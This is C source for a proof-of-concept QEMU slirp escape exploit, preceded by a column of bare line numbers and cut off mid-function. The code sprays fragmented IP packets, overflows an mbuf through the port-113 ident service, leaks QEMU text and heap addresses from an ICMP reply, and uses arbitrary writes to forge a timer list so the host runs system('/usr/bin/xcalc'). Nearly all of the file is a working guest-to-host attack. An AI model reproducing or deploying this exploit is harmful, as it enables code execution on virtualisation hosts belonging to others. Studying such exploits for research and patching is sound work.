735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
1001
1002
1003
1004
1005
1006
1007
1008
1009
1010
1011
1012
1013
1014
1015
1016
1017
1018
1019
1020
1021
1022
1023
1024
1025
1026
1027
1028
1029
1030
1031
1032
1033
1034
1035
1036
1037
1038
1039
1040
1041
1042
1043
1044
1045
1046
1047
1048
1049
1050
1051
1052
1053
1054
1055
1056
1057
1058
1059
1060
1061
1062
1063
1064
1065
1066
1067
1068
1069
1070
1071
1072
1073
1074
1075
1076
1077
1078
1079
1080
1081
1082
1083
1084
1085
1086
1087
1088
1089
1090
1091
1092
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <unistd.h> // close()
#include <assert.h>
#include <string.h> // strcpy, memset(), and memcpy()

#include <netdb.h> // struct addrinfo
#include <sys/types.h> // needed for socket(), uint8_t, uint16_t, uint32_t
#include <sys/socket.h> // needed for socket()
#include <netinet/in.h> // IPPROTO_RAW, IPPROTO_IP, IPPROTO_TCP, INET_ADDRSTRLEN
#include <netinet/ip.h> // struct ip and IP_MAXPACKET (which is 65535)
#include <netinet/ip_icmp.h> // struct icmp, ICMP_ECHO
#define __FAVOR_BSD // Use BSD format of tcp header
#include <netinet/tcp.h> // struct tcphdr
#include <arpa/inet.h> // inet_pton() and inet_ntop()
#include <sys/ioctl.h> // macro ioctl is defined
#include <bits/ioctls.h> // defines values for argument "request" of ioctl.
#include <net/if.h> // struct ifreq
#include <linux/if_ether.h> // ETH_P_IP = 0x0800, ETH_P_IPV6 = 0x86DD
#include <linux/if_packet.h> // struct sockaddr_ll (see man 7 packet)
#include <net/ethernet.h>
#include <sys/time.h> // gettimeofday()

#include <errno.h> // errno, perror()

// Define some constants.
#define ETH_HDRLEN 14 // Ethernet header length
#define IP4_HDRLEN 20 // IPv4 header length
#define TCP_HDRLEN 20 // TCP header length, excludes options data
#define ICMP_HDRLEN 8 // ICMP header length for echo request, excludes data

#define DEBUG

#ifdef DEBUG
#define dbg_printf(fmt, ...) \
do { \
fprintf(stderr, "%s:%d(): " fmt, __func__, __LINE__, ##__VA_ARGS__); \
} while (0)
#else
#define dbg_printf(fmt, ...) \
do { \
} while (0)
#endif

//char g_interface[] = "ens2";
char g_interface[] = "enp0s3";
char host[] = "10.0.2.2";
typedef void *Slirp;
struct socket {};
struct mbuf {
/* XXX should union some of these! */
/* header at beginning of each mbuf: */
struct mbuf *m_next; /* Linked list of mbufs */
struct mbuf *m_prev;
struct mbuf *m_nextpkt; /* Next packet in queue/record */
struct mbuf *m_prevpkt; /* Flags aren't used in the output queue */
int m_flags; /* Misc flags */
int m_size; /* Size of mbuf, from m_dat or m_ext */
struct socket *m_so;
caddr_t m_data; /* Current location of data */
int m_len; /* Amount of data in this mbuf, from m_data */
Slirp *slirp;
bool resolution_requested;
uint64_t expiration_date;
char *m_ext;
/* start of dynamic buffer area, must be last element */
char m_dat[];
};

// some header info to pass to the send_ip_pkt
struct ip_pkt_info {
uint16_t ip_id;
uint16_t ip_off;
bool MF;
uint8_t ip_p;
};

// Function prototypes
uint16_t checksum(uint16_t *, int);
uint16_t icmp4_checksum(struct icmp, uint8_t *, int);
uint16_t tcp4_checksum(struct ip, struct tcphdr, uint8_t *, int);
char *allocate_strmem(int);
uint8_t *allocate_ustrmem(int);
int *allocate_intmem(int);
void spray(int, uint16_t);
void send_ip_pkt(struct ip_pkt_info *, uint8_t *, int);
void leak(uint64_t, int);
int send_raw_pkt();
int arbitrary_write(uint64_t, int, uint8_t *, int, int);
void hexdump(const char *, void *, int);

uint64_t text_base, heap_base;
uint16_t g_spray_ip_id;
int stop_flag;

int main() {
const char eth_frame[] =
"\x52\x56\x00\x00\x00\x02\x52\x54\x00\x12\x34\x56\x08\x00";
struct icmp *icmphdr;
struct ip *iphdr;
uint8_t buf[IP_MAXPACKET];
char src_ip[INET_ADDRSTRLEN], dst_ip[INET_ADDRSTRLEN];
int status;

puts("game start");
memcpy(buf, eth_frame, ETH_HDRLEN);
iphdr = (struct ip *)(buf + ETH_HDRLEN);
strcpy(src_ip, "10.0.2.15");
strcpy(dst_ip, "10.0.2.2");
iphdr->ip_hl = IP4_HDRLEN / sizeof(uint32_t);
iphdr->ip_v = 4;
iphdr->ip_tos = 0;
// 这不需要htons,因为在ip_input里会转换一遍
iphdr->ip_len = (ICMP_HDRLEN);
iphdr->ip_id = (0xcdcd);
// Zero (1 bit)
// Do not fragment flag (1 bit)
// More fragments following flag (1 bit)
// Fragmentation offset (13 bits)
iphdr->ip_off = ((0 << 15) + (0 << 14) + (0 << 13) + (0 >> 3));
iphdr->ip_ttl = 255;
iphdr->ip_p = IPPROTO_ICMP;
if ((status = inet_pton(AF_INET, src_ip, &(iphdr->ip_src))) != 1 ||
(status = inet_pton(AF_INET, dst_ip, &(iphdr->ip_dst))) != 1) {
dbg_printf("inet_pton() failed.\nError message: %s", strerror(status));
exit(EXIT_FAILURE);
}
iphdr->ip_sum = 0;
iphdr->ip_sum = checksum((uint16_t *)&iphdr, IP4_HDRLEN);

icmphdr = (struct icmp *)(buf + ETH_HDRLEN + IP4_HDRLEN);
icmphdr->icmp_type = ICMP_ECHO;
// Message Code (8 bits): echo request
icmphdr->icmp_code = 0;
// Identifier (16 bits): usually pid of sending process - pick a number
icmphdr->icmp_id = htons(1000);
// Sequence Number (16 bits): starts at 0
icmphdr->icmp_seq = htons(0);
// ICMP header checksum (16 bits): set to 0 when calculating checksum
// TBD
// icmphdr->icmp_cksum = icmp4_checksum(icmphdr, data, datalen);
icmphdr->icmp_cksum = icmp4_checksum(*icmphdr, buf, 0);
//const char exec_cmd[] =

//const char exec_cmd[] = "/snap/bin/gnome-calculator";
const char exec_cmd[] = "/usr/bin/xcalc";
memcpy(buf + ETH_HDRLEN + IP4_HDRLEN + ICMP_HDRLEN, exec_cmd,strlen(exec_cmd) + 1);
g_spray_ip_id = 0xaabb;
arbitrary_write(
0x0b00, 3, buf,
ETH_HDRLEN + IP4_HDRLEN + ICMP_HDRLEN + strlen(exec_cmd) + 1, 0x250+0x50);
g_spray_ip_id = 0xbbaa;
leak(0x0b00 + 0x318 + 0x14 + ETH_HDRLEN,
3); // reass处理完后会把m_data减掉ip头的长度
dbg_printf("after leak");
getchar();

// fake timer_list

uint64_t fake_timer_list = heap_base + 0x1000;
//*(uint64_t *)buf = text_base + 0x11e9040; // qemu_clocks
*(uint64_t *)buf = text_base + 0x12C3920; // qemu_clocks
memset(buf + 8, 0, 8 * 6);
*(uint64_t *)(buf + 0x38) = 0x0000000100000000;
//*(uint64_t *)(buf + 0x40) = fake_timer_list + 0x70; // active_timers
*(uint64_t *)(buf + 0x40) = fake_timer_list + 0x70; // active_timers
*(uint64_t *)(buf + 0x48) = 0;
*(uint64_t *)(buf + 0x50) = 0;
*(uint64_t *)(buf + 0x58) = text_base + 0x30eeda; // qemu_timer_notify_cb
*(uint64_t *)(buf + 0x60) = 0;
*(uint64_t *)(buf + 0x68) = 0x0000000100000000;
// end of timer_list
// start of active_timers
/* gdb-peda$ p *timer_list->active_timers
$49 = {
expire_time = 0x22823f5aad00,
timer_list = 0x55a8d2594840,
cb = 0x55a8d0b66a82 <gui_update>,
opaque = 0x55a8d3ae6e50,
next = 0x55a8d3ae6e80,
attributes = 0x0,
scale = 0xf4240
} */
*(uint64_t *)(buf + 0x70) = 0; // expire_time set to 0 will trigger func cb
*(uint64_t *)(buf + 0x78) = fake_timer_list;
*(uint64_t *)(buf + 0x80) = text_base + 0x2be010; // system plt
//to verify
*(uint64_t *)(buf + 0x88) = heap_base + 0xe38 + 0xa; // parameter address
*(uint64_t *)(buf + 0x90) = 0;
*(uint64_t *)(buf + 0x98) = 0x000f424000000000;
g_spray_ip_id = 0xccbb;
arbitrary_write(fake_timer_list - 0x318, 8, buf, 0xa0, 0x20);
printf("[+]Now we have finished writing fake timer list.\n");
//getchar();

stop_flag = 1;
// dbg_printf("check heap here");
// qemu timer
// 改掉全局的main_loop_tlg
*(uint64_t *)buf = fake_timer_list; // qemu_clocks
g_spray_ip_id = 0xddbb;
arbitrary_write(text_base + 0x12C3900 - 0x318, 8, buf, 8, 0x20);
printf("[+]Now we have finished writing main_loop_tlg.\n");
getchar();
return 0;
}

void leak(uint64_t addr, int addr_len) {
int s, len, i, recvsd;
struct sockaddr_in ip_addr;
int ret;
struct ip_pkt_info pkt_info;

uint8_t *payload = (uint8_t *)malloc(IP_MAXPACKET);
uint8_t *payload_start = payload;
uint32_t *payload32 = (uint32_t *)payload;
uint64_t *payload64 = (uint64_t *)payload;

memset(payload, 'A', 0x1000);
memcpy(payload, "ama2in9", 7);

dbg_printf("in leak_text...\n");
for (i = 0; i < 0x20; ++i) {
dbg_printf("spraying size 0x2000, id: %d\n", i);
spray(0x2000, g_spray_ip_id + i);
}
dbg_printf("spray finished.\n");
// getchar();

s = socket(AF_INET, SOCK_STREAM, 0);
ip_addr.sin_family = AF_INET;
ip_addr.sin_addr.s_addr = inet_addr(host);
ip_addr.sin_port = htons(113); // vulnerable port
len = sizeof(struct sockaddr_in);
ret = connect(s, (struct sockaddr *)&ip_addr, len);
if (ret == -1) {
perror("0ops: client");
exit(1);
}

pkt_info.ip_id = 0xdead;
pkt_info.ip_off = 0;
pkt_info.MF = 1;
pkt_info.ip_p = IPPROTO_ICMP;
send_ip_pkt(&pkt_info, payload, 0x300 + 4); // 这个packet就在so_rcv的后面

/*
let's overflow here!
send(xxx)
*/
for (i = 0; i < 6; ++i) {
write(s, payload, 0x500); // 不能send一个满的m_buf,因为会有一个off by
// null = =。。。。
usleep(60000); // 不知道为啥,貌似内核会合并包?
// 如果合并了就会off by null...
// 所以sleep一下
dbg_printf("send %d complete\n", i + 1);
}
write(s, payload, 1072);

// actual overflow here
*payload64++ = 0;
*payload64++ = 0x675; // chunk header
*payload64++ = 0; // m_next
*payload64++ = 0; // m_prev
*payload64++ = 0; // m_nextpkt
*payload64++ = 0; // m_prevpkt
payload32 = (uint32_t *)payload64;
*payload32++ = 0; // m_flags
*payload32++ = 0x608; // m_size
payload64 = (uint64_t *)payload32;
*payload64++ = 0; // m_so
payload = (uint8_t *)payload64;
assert(addr_len <= 8);
for (i = 0; i < addr_len; ++i) {
*payload++ = (addr >> (i * 8)) & 0xff; // m_data
}
write(s, payload_start, (uint8_t *)payload - payload_start);
printf("[+]leaking: Now we have finished faking m_data.\n");
//getchar();
// write(s, payload, 0x1000);
dbg_printf("trigger reass!");
// getchar();
memset(payload, 'A', 0x1000);
memcpy(payload, "ama2in9", 7);
pkt_info.ip_id = 0xdead;
pkt_info.ip_off = 0x300 + 24;
pkt_info.MF = 0;
pkt_info.ip_p = IPPROTO_ICMP;

recvsd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
send_ip_pkt(&pkt_info, payload, 0);
printf("[+]leaking: Now we have finished writting to target.\nAlso, this means we will get the response packet we want.\n");
//getchar();

// we receive data here
int bytes, status;
struct ip *recv_iphdr;
struct icmp *recv_icmphdr;
uint8_t recv_ether_frame[IP_MAXPACKET];
struct sockaddr from;
socklen_t fromlen;
struct timeval wait, t1, t2;
struct timezone tz;
double dt;

(void)gettimeofday(&t1, &tz);
wait.tv_sec = 2;
wait.tv_usec = 0;
setsockopt(recvsd, SOL_SOCKET, SO_RCVTIMEO, (char *)&wait,
sizeof(struct timeval));
recv_iphdr = (struct ip *)(recv_ether_frame + ETH_HDRLEN);
recv_icmphdr = (struct icmp *)(recv_ether_frame + ETH_HDRLEN + IP4_HDRLEN);
int count = 0;
while (1) {
memset(recv_ether_frame, 0, IP_MAXPACKET * sizeof(uint8_t));
memset(&from, 0, sizeof(from));
fromlen = sizeof(from);
if ((bytes = recvfrom(recvsd, recv_ether_frame, IP_MAXPACKET, 0,
(struct sockaddr *)&from, &fromlen)) < 0) {
status = errno;
if (status == EAGAIN) { // EAGAIN = 11
dbg_printf("No reply within %li seconds.\n", wait.tv_sec);
exit(EXIT_FAILURE);
} else if (status == EINTR) { // EINTR = 4
continue;
} else {
perror("recvfrom() failed ");
exit(EXIT_FAILURE);
}
} // End of error handling conditionals.
// hexdump("recv", recv_ether_frame, 0x50);
dbg_printf("recv count %d\n", count++);
if ((((recv_ether_frame[12] << 8) + recv_ether_frame[13]) ==
ETH_P_IP) &&
(recv_iphdr->ip_p == IPPROTO_ICMP) &&
(recv_icmphdr->icmp_type == ICMP_ECHOREPLY)) {
// Stop timer and calculate how long it took to get a reply.
(void)gettimeofday(&t2, &tz);
dt = (double)(t2.tv_sec - t1.tv_sec) * 1000.0 +
(double)(t2.tv_usec - t1.tv_usec) / 1000.0;
// 底下这个可能会segfault
// if (inet_ntop(AF_INET, &(recv_iphdr->ip_src.s_addr), rec_ip,
// INET_ADDRSTRLEN) == NULL) {
// status = errno;
// fprintf(stderr, "inet_ntop() failed.\nError message: %s",
// strerror(status)); exit(EXIT_FAILURE);
// }
dbg_printf("%g ms (%i bytes received)\n", dt, bytes);
#ifdef DEBUG
hexdump("ping recv", recv_ether_frame, bytes);

#endif
if (bytes < 0x200)
continue;
text_base =
((*(uint64_t *)(recv_ether_frame + 0x88)) - 0x7e7d01) & ~0xfff;
heap_base = (*(uint64_t *)(recv_ether_frame + 0x90)) & ~0xffffff;
dbg_printf("leak text_base: 0x%lx\n"
"leak heap_base: 0x%lx\n",
text_base, heap_base);
// getchar();
break;
} // End if IP ethernet frame carrying ICMP_ECHOREPLY
}

//getchar();
close(s);
close(recvsd);
free(payload_start);
}

int arbitrary_write(uint64_t addr, int addr_len, uint8_t *write_data,
int write_data_len, int spray_times) {
int s, len, i;
struct sockaddr_in ip_addr;
int ret;
struct ip_pkt_info pkt_info;

uint8_t *payload = (uint8_t *)malloc(IP_MAXPACKET);
uint8_t *payload_start = payload;
uint32_t *payload32 = (uint32_t *)payload;
uint64_t *payload64 = (uint64_t *)payload;

memset(payload, 'A', 0x1000);
memcpy(payload, "xmzyshypnc", 10);

for (i = 0; i < spray_times; ++i) {
dbg_printf("spraying size 0x2000, id: %d\n", i);
spray(0x2000, g_spray_ip_id + i);
}
printf("[+]Now we spray to malloc all freed buf.\n");
//getchar();
dbg_printf("spray finished.\n");

s = socket(AF_INET, SOCK_STREAM, 0);
ip_addr.sin_family = AF_INET;
ip_addr.sin_addr.s_addr = inet_addr(host);
ip_addr.sin_port = htons(113); // vulnerable port
len = sizeof(struct sockaddr_in);
ret = connect(s, (struct sockaddr *)&ip_addr, len);
if (ret == -1) {
perror("oops: client");
exit(1);
}
pkt_info.ip_id = 0xdead;
pkt_info.ip_off = 0;
pkt_info.MF = 1;
pkt_info.ip_p = 0xff;
send_ip_pkt(&pkt_info, payload, 0x300 + 4); // 这个packet就在so_rcv的后面
printf("[+]Now we finished the malloc of so_rcv and the mbuf.\n");
getchar();

/*
let's overflow here!
send(xxx)
*/
for (i = 0; i < 6; ++i) {
write(s, payload, 0x500); // 不能send一个满的m_buf,因为会有一个off by
// null = =。。。。
usleep(20000); // 不知道为,貌似内核会合并包?
// 如果合并了就会off by null...
// 所以sleep一下
dbg_printf("send %d complete\n", i + 1);
}
write(s, payload, 1072);
// actual overflow here
*payload64++ = 0;
*payload64++ = 0x675; // chunk header
*payload64++ = 0; // m_next
*payload64++ = 0; // m_prev
*payload64++ = 0; // m_nextpkt
*payload64++ = 0; // m_prevpkt
payload32 = (uint32_t *)payload64;
*payload32++ = 0; // m_flags
*payload32++ = 0x608; // m_size
payload64 = (uint64_t *)payload32;
*payload64++ = 0; // m_so
payload = (uint8_t *)payload64;
assert(addr_len <= 8);
for (i = 0; i < addr_len; ++i) {
*payload++ = (addr >> (i * 8)) & 0xff; // m_data
}
write(s, payload_start, (uint8_t *)payload - payload_start);

printf("[+]Now we have written faked mbuf struct");
//getchar();
// write(s, payload, 0x1000);
if (stop_flag) {
puts("trigger!");
getchar();
}
pkt_info.ip_id = 0xdead;
pkt_info.ip_off = 0x300 + 24;
pkt_info.MF = 0;
pkt_info.ip_p = 0xff;
send_ip_pkt(&pkt_info, write_data, write_data_len);
printf("[+]Now we have trigger the written to target addr.\n");
//getchar();

close(s);
free(payload_start);
return 0;
}

// 真正malloc的大小是payloadlen + 64
void send_ip_pkt(struct ip_pkt_info *pkt_info, uint8_t *payload,
int payloadlen) {
int status, sd, *ip_flags, *tcp_flags;
const int on = 1;
char *interface, *src_ip, *dst_ip;
struct ip iphdr;
uint8_t *packet;
struct sockaddr_in sin;
struct ifreq ifr;

// Allocate memory for various arrays.
packet = allocate_ustrmem(IP_MAXPACKET);
interface = allocate_strmem(40);
src_ip = allocate_strmem(INET_ADDRSTRLEN);
dst_ip = allocate_strmem(INET_ADDRSTRLEN);
ip_flags = allocate_intmem(4);
tcp_flags = allocate_intmem(8);

// Interface to send packet through.
strcpy(interface, g_interface);

// Submit request for a socket descriptor to look up interface.
if ((sd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
perror("socket() failed to get socket descriptor for using ioctl() ");
exit(EXIT_FAILURE);
}

// Use ioctl() to look up interface index which we will use to
// bind socket descriptor sd to specified interface with setsockopt() since
// none of the other arguments of sendto() specify which interface to use.
memset(&ifr, 0, sizeof(ifr));
snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "%s", interface);
if (ioctl(sd, SIOCGIFINDEX, &ifr) < 0) {
perror("ioctl() failed to find interface ");
exit(EXIT_FAILURE);
}
close(sd);

// Source IPv4 address: you need to fill this out
strcpy(src_ip, "127.0.0.1");
strcpy(dst_ip, "127.0.0.1");

// IPv4 header
// IPv4 header length (4 bits): Number of 32-bit words in header = 5
iphdr.ip_hl = IP4_HDRLEN / sizeof(uint32_t);
// Internet Protocol version (4 bits): IPv4
iphdr.ip_v = 4;
// Type of service (8 bits)
iphdr.ip_tos = 0;
// Total length of datagram (16 bits): IP header + TCP header + TCP data
iphdr.ip_len = htons(IP4_HDRLEN + payloadlen);
// ID sequence number (16 bits): unused, since single datagram
iphdr.ip_id = htons(pkt_info->ip_id);
// Flags, and Fragmentation offset (3, 13 bits): 0 since single datagram
// Zero (1 bit)
ip_flags[0] = 0;
// Do not fragment flag (1 bit)
ip_flags[1] = 0;
// More fragments following flag (1 bit)
ip_flags[2] = pkt_info->MF;
// Fragmentation offset (13 bits)
ip_flags[3] = 0;

iphdr.ip_off =
htons((ip_flags[0] << 15) + (ip_flags[1] << 14) + (ip_flags[2] << 13) +
ip_flags[3] + (pkt_info->ip_off >> 3));
// Time-to-Live (8 bits): default to maximum value
iphdr.ip_ttl = 255;
// Transport layer protocol (8 bits): 6 for TCP
iphdr.ip_p = pkt_info->ip_p;
// iphdr.ip_p = IPPROTO_TCP;

// Source IPv4 address (32 bits)
if ((status = inet_pton(AF_INET, src_ip, &(iphdr.ip_src))) != 1) {
dbg_printf("inet_pton() failed.\nError message: %s", strerror(status));
exit(EXIT_FAILURE);
}

// Destination IPv4 address (32 bits)
if ((status = inet_pton(AF_INET, dst_ip, &(iphdr.ip_dst))) != 1) {
dbg_printf("inet_pton() failed.\nError message: %s", strerror(status));
exit(EXIT_FAILURE);
}

// IPv4 header checksum (16 bits): set to 0 when calculating checksum
iphdr.ip_sum = 0;
iphdr.ip_sum = checksum((uint16_t *)&iphdr, IP4_HDRLEN);

// Prepare packet.
// First part is an IPv4 header.
memcpy(packet, &iphdr, IP4_HDRLEN * sizeof(uint8_t));
// Last part is upper layer protocol data.
memcpy((packet + IP4_HDRLEN), payload, payloadlen * sizeof(uint8_t));

// The kernel is going to prepare layer 2 information (ethernet frame
// header) for us. For that, we need to specify a destination for the kernel
// in order for it to decide where to send the raw datagram. We fill in a
// struct in_addr with the desired destination IP address, and pass this
// structure to the sendto() function.
memset(&sin, 0, sizeof(struct sockaddr_in));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = iphdr.ip_dst.s_addr;

// Submit request for a raw socket descriptor.
if ((sd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
perror("socket() failed ");
exit(EXIT_FAILURE);
}

// Set flag so socket expects us to provide IPv4 header.
if (setsockopt(sd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) {
perror("setsockopt() failed to set IP_HDRINCL ");
exit(EXIT_FAILURE);
}

// Bind socket to interface index.
if (setsockopt(sd, SOL_SOCKET, SO_BINDTODEVICE, &ifr, sizeof(ifr)) < 0) {
perror("setsockopt() failed to bind to interface ");
exit(EXIT_FAILURE);
}

// Send packet.
if (sendto(sd, packet, IP4_HDRLEN + TCP_HDRLEN + payloadlen, 0,
(struct sockaddr *)&sin, sizeof(struct sockaddr)) < 0) {
perror("sendto() failed ");
exit(EXIT_FAILURE);
}

// Close socket descriptor.
close(sd);
// Free allocated memory.
free(packet);
free(interface);
free(src_ip);
free(dst_ip);
free(ip_flags);
free(tcp_flags);
}

void spray(int size, uint16_t ip_id) {
int i, status, sd, *ip_flags, *tcp_flags;
const int on = 1;
char *interface, *src_ip, *dst_ip;
struct ip iphdr;
struct tcphdr tcphdr;
char *payload;
int payloadlen;
uint8_t *packet;
struct sockaddr_in sin;
struct ifreq ifr;

// Allocate memory for various arrays.
packet = allocate_ustrmem(IP_MAXPACKET);
interface = allocate_strmem(40);
src_ip = allocate_strmem(INET_ADDRSTRLEN);
dst_ip = allocate_strmem(INET_ADDRSTRLEN);
ip_flags = allocate_intmem(4);
tcp_flags = allocate_intmem(8);
payload = allocate_strmem(IP_MAXPACKET);

payloadlen = size - 84;

// Interface to send packet through.
strcpy(interface, g_interface);

// Submit request for a socket descriptor to look up interface.
if ((sd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
perror("socket() failed to get socket descriptor for using ioctl() ");
exit(EXIT_FAILURE);
}

// Use ioctl() to look up interface index which we will use to
// bind socket descriptor sd to specified interface with setsockopt() since
// none of the other arguments of sendto() specify which interface to use.
memset(&ifr, 0, sizeof(ifr));
snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "%s", interface);
if (ioctl(sd, SIOCGIFINDEX, &ifr) < 0) {
perror("ioctl() failed to find interface ");
exit(EXIT_FAILURE);
}
close(sd);
// dbg_printf("Index for interface %s is %i\n", interface, ifr.ifr_ifindex);

// Source IPv4 address: you need to fill this out
strcpy(src_ip, "127.0.0.1");
strcpy(dst_ip, "127.0.0.1");

// IPv4 header
// IPv4 header length (4 bits): Number of 32-bit words in header = 5
iphdr.ip_hl = IP4_HDRLEN / sizeof(uint32_t);
// Internet Protocol version (4 bits): IPv4
iphdr.ip_v = 4;
// Type of service (8 bits)
iphdr.ip_tos = 0;
// Total length of datagram (16 bits): IP header + TCP header + TCP data
iphdr.ip_len = htons(IP4_HDRLEN + TCP_HDRLEN + payloadlen);
// ID sequence number (16 bits): unused, since single datagram
iphdr.ip_id = htons(ip_id);
// Flags, and Fragmentation offset (3, 13 bits): 0 since single datagram
// Zero (1 bit)
ip_flags[0] = 0;
// Do not fragment flag (1 bit)
ip_flags[1] = 0;
// More fragments following flag (1 bit)
ip_flags[2] = 1;
// Fragmentation offset (13 bits)
ip_flags[3] = 0;

iphdr.ip_off = htons((ip_flags[0] << 15) + (ip_flags[1] << 14) +
(ip_flags[2] << 13) + ip_flags[3]);
// Time-to-Live (8 bits): default to maximum value
iphdr.ip_ttl = 255;
// Transport layer protocol (8 bits): 6 for TCP
iphdr.ip_p = IPPROTO_TCP;

// Source IPv4 address (32 bits)
if ((status = inet_pton(AF_INET, src_ip, &(iphdr.ip_src))) != 1) {
dbg_printf("inet_pton() failed.\nError message: %s", strerror(status));
exit(EXIT_FAILURE);
}

// Destination IPv4 address (32 bits)
if ((status = inet_pton(AF_INET, dst_ip, &(iphdr.ip_dst))) != 1) {
dbg_printf("inet_pton() failed.\nError message: %s", strerror(status));
exit(EXIT_FAILURE);
}

// IPv4 header checksum (16 bits): set to 0 when calculating checksum
iphdr.ip_sum = 0;
iphdr.ip_sum = checksum((uint16_t *)&iphdr, IP4_HDRLEN);

// TCP header
// Source port number (16 bits)
tcphdr.th_sport = htons(60);
// Destination port number (16 bits)
tcphdr.th_dport = htons(80);
// Sequence number (32 bits)
tcphdr.th_seq = htonl(0);
// Acknowledgement number (32 bits)
tcphdr.th_ack = htonl(0);
// Reserved (4 bits): should be 0
tcphdr.th_x2 = 0;
// Data offset (4 bits): size of TCP header in 32-bit words
tcphdr.th_off = TCP_HDRLEN / 4;

// Flags (8 bits)
// FIN flag (1 bit)
tcp_flags[0] = 0;
// SYN flag (1 bit)
tcp_flags[1] = 0;
// RST flag (1 bit)
tcp_flags[2] = 0;
// PSH flag (1 bit)
tcp_flags[3] = 1;
// ACK flag (1 bit)
tcp_flags[4] = 1;
// URG flag (1 bit)
tcp_flags[5] = 0;
// ECE flag (1 bit)
tcp_flags[6] = 0;
// CWR flag (1 bit)
tcp_flags[7] = 0;
tcphdr.th_flags = 0;
for (i = 0; i < 8; i++) {
tcphdr.th_flags += (tcp_flags[i] << i);
}

// Window size (16 bits)
tcphdr.th_win = htons(65535);
// Urgent pointer (16 bits): 0 (only valid if URG flag is set)
tcphdr.th_urp = htons(0);
// TCP checksum (16 bits)
tcphdr.th_sum =
tcp4_checksum(iphdr, tcphdr, (uint8_t *)payload, payloadlen);

// Prepare packet.
// First part is an IPv4 header.
memcpy(packet, &iphdr, IP4_HDRLEN * sizeof(uint8_t));
// Next part of packet is upper layer protocol header.
memcpy((packet + IP4_HDRLEN), &tcphdr, TCP_HDRLEN * sizeof(uint8_t));
// Last part is upper layer protocol data.
memcpy((packet + IP4_HDRLEN + TCP_HDRLEN), payload,
payloadlen * sizeof(uint8_t));

// The kernel is going to prepare layer 2 information (ethernet frame
// header) for us. For that, we need to specify a destination for the kernel
// in order for it to decide where to send the raw datagram. We fill in a
// struct in_addr with the desired destination IP address, and pass this
// structure to the sendto() function.
memset(&sin, 0, sizeof(struct sockaddr_in));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = iphdr.ip_dst.s_addr;

// Submit request for a raw socket descriptor.
if ((sd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
perror("socket() failed ");
exit(EXIT_FAILURE);
}

// Set flag so socket expects us to provide IPv4 header.
if (setsockopt(sd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) {
perror("setsockopt() failed to set IP_HDRINCL ");
exit(EXIT_FAILURE);
}

// Bind socket to interface index.
if (setsockopt(sd, SOL_SOCKET, SO_BINDTODEVICE, &ifr, sizeof(ifr)) < 0) {
perror("setsockopt() failed to bind to interface ");
exit(EXIT_FAILURE);
}

// Send packet.
if (sendto(sd, packet, IP4_HDRLEN + TCP_HDRLEN + payloadlen, 0,
(struct sockaddr *)&sin, sizeof(struct sockaddr)) < 0) {
perror("sendto() failed ");
exit(EXIT_FAILURE);
}

// Close socket descriptor.
close(sd);
// Free allocated memory.
free(packet);
free(interface);
free(src_ip);
free(dst_ip);
free(ip_flags);
free(tcp_flags);
free(payload);
}

// Computing the internet checksum (RFC 1071).
// Note that the internet checksum does not preclude collisions.
uint16_t checksum(uint16_t *addr, int len) {
int count = len;
register uint32_t sum = 0;
uint16_t answer = 0;

// Sum up 2-byte values until none or only one byte left.
while (count > 1) {
sum += *(addr++);
count -= 2;
}

// Add left-over byte, if any.
if (count > 0) {
sum += *(uint8_t *)addr;
}

// Fold 32-bit sum into 16 bits; we lose information by doing this,
// increasing the chances of a collision.
// sum = (lower 16 bits) + (upper 16 bits shifted right 16 bits)
while (sum >> 16) {
sum = (sum & 0xffff) + (sum >> 16);
}

// Checksum is one's compliment of sum.
answer = ~sum;

return (answer);
}

// Build IPv4 ICMP pseudo-header and call checksum function.
uint16_t icmp4_checksum(struct icmp icmphdr, uint8_t *payload, int payloadlen) {
char buf[IP_MAXPACKET];
char *ptr;
int chksumlen = 0;
int i;

ptr = &buf[0]; // ptr points to beginning of buffer buf

// Copy Message Type to buf (8 bits)
memcpy(ptr, &icmphdr.icmp_type, sizeof(icmphdr.icmp_type));
ptr += sizeof(icmphdr.icmp_type);
chksumlen += sizeof(icmphdr.icmp_type);

// Copy Message Code to buf (8 bits)
memcpy(ptr, &icmphdr.icmp_code, sizeof(icmphdr.icmp_code));
ptr += sizeof(icmphdr.icmp_code);
chksumlen += sizeof(icmphdr.icmp_code);

// Copy ICMP checksum to buf (16 bits)
// Zero, since we don't know it yet
*ptr = 0;
ptr++;
*ptr = 0;
ptr++;
chksumlen += 2;

// Copy Identifier to buf (16 bits)
memcpy(ptr, &icmphdr.icmp_id, sizeof(icmphdr.icmp_id));
ptr += sizeof(icmphdr.icmp_id);
chksumlen += sizeof(icmphdr.icmp_id);

// Copy Sequence Number to buf (16 bits)
memcpy(ptr, &icmphdr.icmp_seq, sizeof(icmphdr.icmp_seq));
ptr += sizeof(icmphdr.icmp_seq);
